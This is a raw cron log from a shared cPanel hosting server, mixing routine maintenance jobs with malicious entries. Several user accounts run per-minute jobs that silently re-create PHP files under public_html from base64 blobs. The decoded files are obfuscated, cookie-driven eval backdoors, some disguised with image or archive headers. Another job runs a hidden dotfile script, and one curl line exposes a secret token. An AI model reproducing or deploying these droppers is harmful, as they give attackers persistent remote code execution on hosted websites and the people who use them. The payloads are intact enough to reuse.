N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:39:01 medusa CROND[24062]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:40:01 medusa CROND[8091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:40:02 medusa CROND[8502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:40:02 medusa CROND[8505]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:40:02 medusa CROND[8508]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:40:02 medusa CROND[8507]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:40:02 medusa CROND[8510]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8513]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:40:02 medusa CROND[8522]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8525]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:40:02 medusa CROND[8529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:40:02 medusa CROND[8520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:40:02 medusa CROND[8531]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:40:02 medusa CROND[8528]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:40:02 medusa CROND[8541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8548]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:40:02 medusa CROND[8552]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8558]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:40:02 medusa CROND[8559]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:40:02 medusa CROND[8560]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:40:02 medusa CROND[8563]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:40:02 medusa CROND[8570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8574]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:40:02 medusa CROND[8561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:40:02 medusa CROND[8577]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:40:02 medusa CROND[8572]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:40:02 medusa CROND[8521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:41:01 medusa CROND[22932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:41:02 medusa CROND[23026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:41:02 medusa CROND[23039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:41:02 medusa CROND[23042]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:41:02 medusa CROND[23041]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:41:02 medusa CROND[23044]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:41:02 medusa CROND[23045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:41:02 medusa CROND[23046]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:41:02 medusa CROND[23047]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:41:02 medusa CROND[23057]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:41:02 medusa CROND[23059]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:41:02 medusa CROND[23064]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:41:02 medusa CROND[23067]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:41:02 medusa CROND[23069]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:42:01 medusa CROND[30334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:42:01 medusa CROND[30430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:42:02 medusa CROND[30604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:42:02 medusa CROND[30608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:42:02 medusa CROND[30610]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
